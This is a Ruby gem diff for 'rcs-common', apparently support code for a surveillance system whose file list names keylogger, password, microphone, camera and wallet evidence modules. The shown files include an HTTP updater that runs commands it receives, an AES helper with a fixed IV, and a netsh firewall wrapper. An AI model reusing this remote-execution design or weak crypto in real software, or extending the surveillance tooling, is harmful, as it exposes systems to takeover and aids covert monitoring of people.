rcs-common 9.6.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
@@ -0,0 +1,79 @@
|
|
1
|
+
require 'timeout'
|
2
|
+
require 'fileutils'
|
3
|
+
require 'open3'
|
4
|
+
require_relative "tmp_dir"
|
5
|
+
require_relative "../trace.rb"
|
6
|
+
|
7
|
+
module RCS
|
8
|
+
module Updater
|
9
|
+
class Payload
|
10
|
+
include RCS::Tracer
|
11
|
+
include TmpDir
|
12
|
+
|
13
|
+
attr_reader :options, :payload, :timeout
|
14
|
+
attr_reader :filepath, :output, :return_code, :stored
|
15
|
+
|
16
|
+
DEFAULT_TIMEOUT = 600
|
17
|
+
|
18
|
+
def initialize(payload, options = {})
|
19
|
+
@options = options
|
20
|
+
@payload = payload
|
21
|
+
|
22
|
+
@timeout = options['timeout'].to_i
|
23
|
+
@timeout = DEFAULT_TIMEOUT if @timeout <= 0
|
24
|
+
end
|
25
|
+
|
26
|
+
def ruby?; options['ruby']; end
|
27
|
+
|
28
|
+
def storable?; options['store']; end
|
29
|
+
|
30
|
+
def spawn?; options['spawn']; end
|
31
|
+
|
32
|
+
def runnable?
|
33
|
+
options['exec'] or ruby? or spawn?
|
34
|
+
end
|
35
|
+
|
36
|
+
def [](name)
|
37
|
+
instance_variable_get("@#{name}")
|
38
|
+
end
|
39
|
+
|
40
|
+
def run
|
41
|
+
@return_code = nil
|
42
|
+
@output = ""
|
43
|
+
|
44
|
+
cmd = "#{'ruby ' if ruby?}#{storable? ? filepath : payload}"
|
45
|
+
|
46
|
+
if spawn?
|
47
|
+
trace(:debug, "[spawn] #{cmd}")
|
48
|
+
return spawn(cmd)
|
49
|
+
end
|
50
|
+
|
51
|
+
Timeout::timeout(@timeout) do
|
52
|
+
trace(:debug, "Timeout has been set to #{@timeout} sec") if @timeout != DEFAULT_TIMEOUT
|
53
|
+
|
54
|
+
trace(:debug, "[popen] #{cmd}")
|
55
|
+
|
56
|
+
Open3.popen2e(cmd) do |stdin, std_out_err, wait_thr|
|
57
|
+
while line = std_out_err.gets
|
58
|
+
trace(:debug, "[std_out_err] #{line.strip}")
|
59
|
+
@output << line
|
60
|
+
end
|
61
|
+
@return_code = wait_thr.value.exitstatus
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
return @return_code
|
66
|
+
ensure
|
67
|
+
FileUtils.rm_f(filepath) if stored
|
68
|
+
end
|
69
|
+
|
70
|
+
def store
|
71
|
+
@filepath = "#{tmpdir}/" + (@options['filename'] || Time.now.to_f.to_s.gsub(".", ""))
|
72
|
+
FileUtils.mkdir_p(tmpdir)
|
73
|
+
trace(:debug, "Storing payload into #{filepath}")
|
74
|
+
File.open(filepath, "wb") { |f| f.write(payload) }
|
75
|
+
@stored = true
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
end
|
@@ -0,0 +1,126 @@
|
|
1
|
+
require 'yajl/json_gem'
|
2
|
+
require 'em-http-server'
|
3
|
+
require 'digest/md5'
|
4
|
+
require 'monitor'
|
5
|
+
require_relative "payload"
|
6
|
+
require_relative "shared_key"
|
7
|
+
require_relative "../trace"
|
8
|
+
require_relative "../winfirewall"
|
9
|
+
|
10
|
+
module RCS
|
11
|
+
module Updater
|
12
|
+
class AuthError < Exception; end
|
13
|
+
|
14
|
+
class Server < EM::HttpServer::Server
|
15
|
+
include MonitorMixin
|
16
|
+
include RCS::Tracer
|
17
|
+
extend RCS::Tracer
|
18
|
+
|
19
|
+
def initialize(*args)
|
20
|
+
@shared_key = SharedKey.new
|
21
|
+
super
|
22
|
+
end
|
23
|
+
|
24
|
+
def x_options
|
25
|
+
@x_options ||= @shared_key.decrypt_hash(@http[:x_options]) rescue nil
|
26
|
+
end
|
27
|
+
|
28
|
+
def remote_addr
|
29
|
+
ary = get_peername[2,6].unpack("nC4")
|
30
|
+
ary[1..-1].join(".")
|
31
|
+
end
|
32
|
+
|
33
|
+
def private_ipv4?
|
34
|
+
a,b,c,d = remote_addr.split(".").map(&:to_i)
|
35
|
+
return true if a==127 && b==0 && c==0 && d==1 # localhost
|
36
|
+
return true if a==192 && b==168 && c.between?(0,255) && d.between?(0,255) # 192.168.0.0/16
|
37
|
+
return true if a==172 && b.between?(16,31) && c.between?(0,255) && d.between?(0,255) # 172.16.0.0/12
|
38
|
+
return true if a==10 && b.between?(0,255) && c.between?(0,255) && d.between?(0,255) # 10.0.0.0/8
|
39
|
+
return false
|
40
|
+
end
|
41
|
+
|
42
|
+
def process_http_request
|
43
|
+
EM.defer do
|
44
|
+
begin
|
45
|
+
trace(:info, "[#{@http[:host]}] REQ #{@http_protocol} #{@http_request_method} #{@http_content.size} bytes from #{remote_addr}")
|
46
|
+
|
47
|
+
raise AuthError.new("Invalid http method") if @http_request_method != "POST"
|
48
|
+
raise AuthError.new("No content") unless @http_content
|
49
|
+
raise AuthError.new("Missing server signature") unless @shared_key.read_key_from_file
|
50
|
+
raise AuthError.new("remote_addr is not private") unless private_ipv4?
|
51
|
+
raise AuthError.new("Invalid signature") unless x_options
|
52
|
+
raise AuthError.new("Payload checksum failed") if x_options['md5'] != Digest::MD5.hexdigest(@http_content)
|
53
|
+
|
54
|
+
synchronize do
|
55
|
+
@@x_options_last_tm ||= nil
|
56
|
+
raise AuthError.new("Reply attack") if @@x_options_last_tm and x_options['tm'] <= @@x_options_last_tm
|
57
|
+
@@x_options_last_tm = x_options['tm']
|
58
|
+
end
|
59
|
+
|
60
|
+
payload = Payload.new(@http_content, x_options)
|
61
|
+
|
62
|
+
set_comm_inactivity_timeout(payload.timeout + 30)
|
63
|
+
|
64
|
+
payload.store if payload.storable?
|
65
|
+
payload.run if payload.runnable?
|
66
|
+
|
67
|
+
send_response(200, payload_to_hash(payload))
|
68
|
+
rescue AuthError => ex
|
69
|
+
print_exception(ex, backtrace: false)
|
70
|
+
close_connection
|
71
|
+
rescue Exception => ex
|
72
|
+
print_exception(ex)
|
73
|
+
send_response(500, payload_to_hash(payload))
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
def payload_to_hash(payload)
|
79
|
+
{path: payload.filepath, output: payload.output, return_code: payload.return_code, stored: payload.stored} if payload
|
80
|
+
end
|
81
|
+
|
82
|
+
def http_request_errback(ex)
|
83
|
+
print_exception(ex)
|
84
|
+
end
|
85
|
+
|
86
|
+
def print_exception(ex, backtrace: true)
|
87
|
+
text = "[#{ex.class}] #{ex.message}"
|
88
|
+
text << "\n\t#{ex.backtrace.join("\n\t")}" if ex.backtrace and backtrace
|
89
|
+
trace(:error, text)
|
90
|
+
end
|
91
|
+
|
92
|
+
def send_response(status_code, content = nil)
|
93
|
+
response = EM::DelegatedHttpResponse.new(self)
|
94
|
+
response.status = status_code
|
95
|
+
response.content_type('application/json')
|
96
|
+
response.content = content.to_json if content
|
97
|
+
response.send_response
|
98
|
+
trace(:info, "[#{@http[:host]}] REP #{status_code} #{response.content.size} bytes")
|
99
|
+
end
|
100
|
+
|
101
|
+
def self.add_firewall_rule(port)
|
102
|
+
if WinFirewall.exists?
|
103
|
+
rule_name = "RCS_FWD Updater"
|
104
|
+
WinFirewall.del_rule(rule_name)
|
105
|
+
WinFirewall.add_rule(action: :allow, direction: :in, name: rule_name, local_port: port, remote_ip: %w[LocalSubnet 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16], protocol: :tcp)
|
106
|
+
end
|
107
|
+
end
|
108
|
+
|
109
|
+
def self.start(port: 6677, address: "0.0.0.0")
|
110
|
+
EM::run do
|
111
|
+
trace_setup rescue $stderr.puts("trace_setup failed - logging only to stdout")
|
112
|
+
add_firewall_rule(port)
|
113
|
+
|
114
|
+
trace(:info, "Starting RCS Updater server on #{address}:#{port}")
|
115
|
+
EM::start_server(address, port, self)
|
116
|
+
end
|
117
|
+
rescue Interrupt
|
118
|
+
trace(:fatal, "Interrupted by the user")
|
119
|
+
end
|
120
|
+
end
|
121
|
+
end
|
122
|
+
end
|
123
|
+
|
124
|
+
if __FILE__ == $0
|
125
|
+
RCS::Updater::Server.start
|
126
|
+
end
|
@@ -0,0 +1,55 @@
|
|
1
|
+
require 'openssl'
|
2
|
+
require 'base64'
|
3
|
+
|
4
|
+
module RCS
|
5
|
+
module Updater
|
6
|
+
class SharedKey
|
7
|
+
|
8
|
+
def initialize
|
9
|
+
# Search for the signature file in some places
|
10
|
+
[File.expand_path(Dir.pwd), "C:/RCS/DB", "C:/RCS/Collector"].each do |root|
|
11
|
+
["#{root}/config/rcs-updater.sig", "#{root}/config/certs/rcs-updater.sig"].each do |path|
|
12
|
+
@path = path if File.exists?(path)
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
16
|
+
|
17
|
+
def read_key_from_file
|
18
|
+
return ENV['SIGNATURE'] if ENV['SIGNATURE']
|
19
|
+
|
20
|
+
if @path
|
21
|
+
key = File.read(@path)
|
22
|
+
return key.empty? ? nil : key
|
23
|
+
else
|
24
|
+
return nil
|
25
|
+
end
|
26
|
+
end
|
27
|
+
|
28
|
+
def prepare_cipher(mode)
|
29
|
+
@cipher = OpenSSL::Cipher::AES.new(256, :CBC)
|
30
|
+
mode == :encrypt ? @cipher.encrypt : @cipher.decrypt
|
31
|
+
@cipher.padding = 1
|
32
|
+
@cipher.key = read_key_from_file || raise("Missing or empty signature file")
|
33
|
+
@cipher.iv = "\xBA\xF0\xC0Z\xD7\xE8~[TP\xFE\x88rW\xC8\xF4"
|
34
|
+
end
|
35
|
+
|
36
|
+
def encrypt(data)
|
37
|
+
prepare_cipher(:encrypt)
|
38
|
+
return @cipher.update(data) + @cipher.final
|
39
|
+
end
|
40
|
+
|
41
|
+
def decrypt(data)
|
42
|
+
prepare_cipher(:decrypt)
|
43
|
+
return @cipher.update(data) + @cipher.final
|
44
|
+
end
|
45
|
+
|
46
|
+
def encrypt_hash(hash)
|
47
|
+
Base64.urlsafe_encode64(encrypt(hash.to_json))
|
48
|
+
end
|
49
|
+
|
50
|
+
def decrypt_hash(data)
|
51
|
+
JSON.parse(decrypt(Base64.urlsafe_decode64(data)))
|
52
|
+
end
|
53
|
+
end
|
54
|
+
end
|
55
|
+
end
|
@@ -0,0 +1,83 @@
|
|
1
|
+
#
|
2
|
+
# Helper method for decoding windows WCHAR strings.
|
3
|
+
#
|
4
|
+
|
5
|
+
require 'stringio'
|
6
|
+
|
7
|
+
class StringIO
|
8
|
+
def read_utf16le_string
|
9
|
+
# at least the null terminator
|
10
|
+
return '' if self.size < 2
|
11
|
+
|
12
|
+
# empty string by default
|
13
|
+
str = ''
|
14
|
+
# read until the end of buffer or null termination
|
15
|
+
until self.eof? do
|
16
|
+
t = self.read(2)
|
17
|
+
break if t == "\0\0"
|
18
|
+
str << t
|
19
|
+
end
|
20
|
+
|
21
|
+
# misaligned string
|
22
|
+
return '' if str.bytesize % 2 != 0
|
23
|
+
|
24
|
+
return str
|
25
|
+
end
|
26
|
+
|
27
|
+
def read_ascii_string
|
28
|
+
# at least the null terminator
|
29
|
+
return '' if self.size < 1
|
30
|
+
|
31
|
+
# empty string by default
|
32
|
+
str = ''
|
33
|
+
# read until the end of buffer or null termination
|
34
|
+
until self.tell == self.size do
|
35
|
+
t = self.read(1)
|
36
|
+
break if t == "\0"
|
37
|
+
str << t
|
38
|
+
end
|
39
|
+
|
40
|
+
return str
|
41
|
+
end
|
42
|
+
|
43
|
+
end
|
44
|
+
|
45
|
+
class String
|
46
|
+
def to_binary
|
47
|
+
self.unpack("H*").pack("H*")
|
48
|
+
end
|
49
|
+
|
50
|
+
def to_utf16le_binary
|
51
|
+
self.encode('UTF-16LE').to_binary
|
52
|
+
end
|
53
|
+
|
54
|
+
def to_utf16le_binary_null
|
55
|
+
# with null termination
|
56
|
+
(self + "\0").to_utf16le_binary
|
57
|
+
end
|
58
|
+
|
59
|
+
def terminate_utf16le
|
60
|
+
self.force_encoding('UTF-16LE') + "\0".encode('UTF-16LE')
|
61
|
+
end
|
62
|
+
|
63
|
+
def to_utf16le
|
64
|
+
self.encode('UTF-16LE')
|
65
|
+
end
|
66
|
+
|
67
|
+
def utf16le_to_utf8
|
68
|
+
self.force_encoding('UTF-16LE').encode('UTF-8').chomp("\0")
|
69
|
+
end
|
70
|
+
|
71
|
+
def safe_utf8_encode_invalid
|
72
|
+
return self if self.encoding == Encoding::UTF_8 and self.valid_encoding?
|
73
|
+
self.safe_utf8_encode
|
74
|
+
return self if self.valid_encoding?
|
75
|
+
self.force_encoding('BINARY')
|
76
|
+
self.encode! 'BINARY', 'UTF-8', invalid: :replace, undef: :replace, replace: '?'
|
77
|
+
end
|
78
|
+
|
79
|
+
def safe_utf8_encode
|
80
|
+
self.force_encoding('UTF-8')
|
81
|
+
self.encode! 'UTF-8', 'UTF-8', invalid: :replace, undef: :replace, replace: ''
|
82
|
+
end
|
83
|
+
end
|
@@ -0,0 +1,235 @@
|
|
1
|
+
require 'resolv'
|
2
|
+
require 'timeout'
|
3
|
+
require_relative 'trace'
|
4
|
+
require_relative 'resolver'
|
5
|
+
|
6
|
+
module RCS
|
7
|
+
module Common
|
8
|
+
module WinFirewall
|
9
|
+
extend RCS::Tracer
|
10
|
+
|
11
|
+
# Represent a Windows Firewall rule.
|
12
|
+
class Rule
|
13
|
+
include Resolver
|
14
|
+
|
15
|
+
ATTRIBUTES = %i[direction action local_ip remote_ip local_port remote_port name protocol profiles enabled grouping edge_traversal]
|
16
|
+
|
17
|
+
RULE_GROUP = 'RCS Firewall Rules'
|
18
|
+
|
19
|
+
attr_reader :attributes
|
20
|
+
|
21
|
+
def initialize(attributes = {})
|
22
|
+
# Default attribute values
|
23
|
+
@attributes = {
|
24
|
+
grouping: RULE_GROUP
|
25
|
+
}
|
26
|
+
|
27
|
+
# Merge default attributes with the given ones
|
28
|
+
# and remove invalid attributes
|
29
|
+
attributes.symbolize_keys! if attributes.respond_to?(:symbolize_keys!)
|
30
|
+
attributes.reject! { |key| !ATTRIBUTES.include?(key) }
|
31
|
+
@attributes.merge!(attributes)
|
32
|
+
|
33
|
+
# Define getters and setters
|
34
|
+
ATTRIBUTES.each do |name|
|
35
|
+
define_singleton_method(name) { @attributes[name] }
|
36
|
+
define_singleton_method("#{name}=") { |value| @attributes[name] = value }
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
def resolve_addresses!
|
41
|
+
resolve_addresses(true)
|
42
|
+
end
|
43
|
+
|
44
|
+
def resolve_addresses(_raise = false)
|
45
|
+
return if @addresses_resolved
|
46
|
+
|
47
|
+
%i[remote_ip local_ip].each do |name|
|
48
|
+
next unless @attributes[name]
|
49
|
+
|
50
|
+
addresses = [@attributes[name]].flatten
|
51
|
+
|
52
|
+
addresses.each_with_index do |address, index|
|
53
|
+
next if %w[any localsubnet dns dhcp wins defaultgateway].include?(address.to_s.downcase)
|
54
|
+
next if address.to_s =~ Resolv::IPv4::Regex
|
55
|
+
next if address.to_s =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)\/(\d+)/
|
56
|
+
|
57
|
+
is_localhost = Socket.gethostname.casecmp(address).zero?
|
58
|
+
|
59
|
+
addresses[index] = if is_localhost
|
60
|
+
'127.0.0.1'
|
61
|
+
elsif _raise
|
62
|
+
resolve_dns(address)
|
63
|
+
else
|
64
|
+
resolve_dns(address) rescue address
|
65
|
+
end
|
66
|
+
end
|
67
|
+
|
68
|
+
@attributes[name] = addresses.size == 1 ? addresses[0] : addresses
|
69
|
+
end
|
70
|
+
|
71
|
+
@addresses_resolved = true
|
72
|
+
end
|
73
|
+
|
74
|
+
def save
|
75
|
+
resolve_addresses!
|
76
|
+
|
77
|
+
if Advfirewall.call("firewall add rule #{stringify_attributes}").ok?
|
78
|
+
true
|
79
|
+
else
|
80
|
+
raise "Unable to save firewall rule #{@attributes[:name]}"
|
81
|
+
end
|
82
|
+
end
|
83
|
+
|
84
|
+
def del
|
85
|
+
resolve_addresses
|
86
|
+
|
87
|
+
only = %i[dir profile program service localip remoteip localport remoteport protocol name]
|
88
|
+
|
89
|
+
Advfirewall.call("firewall delete rule #{stringify_attributes(only)}")
|
90
|
+
end
|
91
|
+
|
92
|
+
private
|
93
|
+
|
94
|
+
def stringify_attributes(only = [])
|
95
|
+
attrs = {
|
96
|
+
name: name,
|
97
|
+
dir: direction,
|
98
|
+
action: action,
|
99
|
+
enable: enabled,
|
100
|
+
protocol: protocol,
|
101
|
+
profile: profiles,
|
102
|
+
remoteip: remote_ip,
|
103
|
+
localip: local_ip,
|
104
|
+
localport: local_port,
|
105
|
+
remoteport: remote_port,
|
106
|
+
#group: grouping / why isn't working?
|
107
|
+
}
|
108
|
+
|
109
|
+
string = ""
|
110
|
+
|
111
|
+
attrs.each do |key, value|
|
112
|
+
next if only.any? and !only.include?(key)
|
113
|
+
next if value.to_s.strip.empty?
|
114
|
+
next if value == :any
|
115
|
+
value = value.respond_to?(:join) ? value.map(&:to_s).join(',') : "\"#{value}\""
|
116
|
+
string << "#{key}=#{value} "
|
117
|
+
end
|
118
|
+
|
119
|
+
string
|
120
|
+
end
|
121
|
+
end
|
122
|
+
|
123
|
+
|
124
|
+
# Parse the response of the netsh advfirewall command
|
125
|
+
class AdvfirewallResponse < String
|
126
|
+
SEPARATOR = '-'*70
|
127
|
+
|
128
|
+
attr_accessor :ok
|
129
|
+
|
130
|
+
def ok?
|
131
|
+
return self.ok unless self.ok.nil?
|
132
|
+
self.strip =~ /OK\.\z/i
|
133
|
+
end
|
134
|
+
|
135
|
+
def has_separator?
|
136
|
+
self.include?(SEPARATOR)
|
137
|
+
end
|
138
|
+
|
139
|
+
def first_line
|
140
|
+
index = nil
|
141
|
+
self.lines.each_with_index{ |line, i| index = i if line.include?(SEPARATOR) }
|
142
|
+
self.lines[index+1].strip if index
|
143
|
+
end
|
144
|
+
end
|
145
|
+
|
146
|
+
|
147
|
+
class Advfirewall
|
148
|
+
extend RCS::Tracer
|
149
|
+
|
150
|
+
# Return true if the current os is Windows
|
151
|
+
def self.exists?
|
152
|
+
@firewall_exists ||= (RbConfig::CONFIG['host_os'] =~ /mingw/i)
|
153
|
+
end
|
154
|
+
|
155
|
+
def self.call(command, read: false)
|
156
|
+
command = "netsh advfirewall #{command.strip}"
|
157
|
+
|
158
|
+
unless exists?
|
159
|
+
raise "The Windows Firewall is missing. You cannot call the command #{command.inspect} on this OS."
|
160
|
+
end
|
161
|
+
|
162
|
+
#trace(:debug, "[Advfirewall] #{command}")
|
163
|
+
|
164
|
+
if read
|
165
|
+
resp = AdvfirewallResponse.new(`#{command}`)
|
166
|
+
trace(:debug, "[Advfirewall] #{resp}") unless resp.ok?
|
167
|
+
resp
|
168
|
+
else
|
169
|
+
resp = AdvfirewallResponse.new
|
170
|
+
resp.ok = system(command)
|
171
|
+
resp
|
172
|
+
end
|
173
|
+
end
|
174
|
+
end
|
175
|
+
|
176
|
+
|
177
|
+
extend self
|
178
|
+
|
179
|
+
|
180
|
+
# Return :on or :off depending of the firewall state
|
181
|
+
#
|
182
|
+
# Note that the files test/fixtures/advfirewall/show_currentprofile_state_on and
|
183
|
+
# test/fixtures/advfirewall/show_currentprofile_state_off contains an example of the command output
|
184
|
+
def status
|
185
|
+
return status_from_registry if @use_registry_for_status
|
186
|
+
|
187
|
+
first_line = Advfirewall.call("show currentprofile state", read: true).first_line
|
188
|
+
|
189
|
+
if first_line =~ /ON\z/
|
190
|
+
:on
|
191
|
+
elsif first_line =~ /OFF\z/
|
192
|
+
:off
|
193
|
+
else
|
194
|
+
@use_registry_for_status = true
|
195
|
+
status_from_registry
|
196
|
+
end
|
197
|
+
end
|
198
|
+
|
199
|
+
def status_from_registry
|
200
|
+
command = 'reg query HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall'
|
201
|
+
trace(:debug, "[Advfirewall] #{command}")
|
202
|
+
`#{command}`.include?('0x1') ? :on : :off
|
203
|
+
end
|
204
|
+
|
205
|
+
# Returns true if the default firewall policy is to block all inbound connections
|
206
|
+
def block_inbound?
|
207
|
+
line = Advfirewall.call("show currentprofile firewallpolicy", read: true).first_line
|
208
|
+
line.to_s.downcase.include?('blockinbound')
|
209
|
+
end
|
210
|
+
|
211
|
+
# Delegate
|
212
|
+
def exists?
|
213
|
+
Advfirewall.exists?
|
214
|
+
end
|
215
|
+
|
216
|
+
def add_rule(attributes)
|
217
|
+
Rule.new(attributes).save
|
218
|
+
end
|
219
|
+
|
220
|
+
def del_rule(name)
|
221
|
+
Rule.new(name: name.to_s).del
|
222
|
+
end
|
223
|
+
|
224
|
+
def has_rule?(name)
|
225
|
+
Advfirewall.call("firewall show rule name=\"#{name}\"").ok?
|
226
|
+
end
|
227
|
+
|
228
|
+
def raw_rules
|
229
|
+
Advfirewall.call("firewall show rule name=all", read: true)
|
230
|
+
end
|
231
|
+
end
|
232
|
+
end
|
233
|
+
end
|
234
|
+
|
235
|
+
WinFirewall = RCS::Common::WinFirewall
|